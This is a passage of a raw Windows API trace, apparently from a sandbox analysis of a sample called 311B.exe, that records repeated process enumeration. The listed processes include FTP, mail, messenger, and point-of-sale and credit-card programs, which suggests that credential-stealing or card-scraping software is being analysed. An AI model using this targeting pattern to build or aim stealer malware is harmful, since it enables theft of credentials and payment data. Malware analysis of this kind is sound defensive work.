lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0228.558] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0228.559] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0228.561] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0228.563] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0228.565] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0228.615] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0228.617] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0228.619] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0228.621] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0228.623] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0228.625] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0228.627] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0228.629] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0228.630] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0228.632] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0228.634] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0228.636] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0228.637] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0228.639] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0228.641] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0228.643] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0228.644] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0228.646] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0228.693] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0228.694] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0228.696] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0228.698] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0228.700] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0228.701] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0228.703] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0228.705] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0228.707] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0228.709] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0228.710] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0228.712] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0228.714] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0228.716] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0228.718] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0228.720] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0228.722] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0228.725] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0228.771] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0228.773] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0228.774] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 0 [0228.776] CloseHandle (hObject=0x15f0) returned 1 [0228.776] Sleep (dwMilliseconds=0x64) [0228.888] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x15a4 [0228.899] Process32First (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0228.901] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0228.903] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0228.904] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0228.906] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0228.908] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0228.910] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0228.911] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0228.913] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0228.915] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0228.916] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0228.918] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0228.919] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0228.921] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0229.022] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0229.023] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0229.025] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0229.027] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0229.029] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0229.031] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0229.033] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0229.035] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0229.036] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0229.038] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0229.039] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0229.041] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0229.042] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0229.044] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0229.045] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0229.047] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0229.048] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0229.050] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0229.051] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0229.053] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0229.054] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0229.056] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0229.057] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0229.059] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0229.060] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, 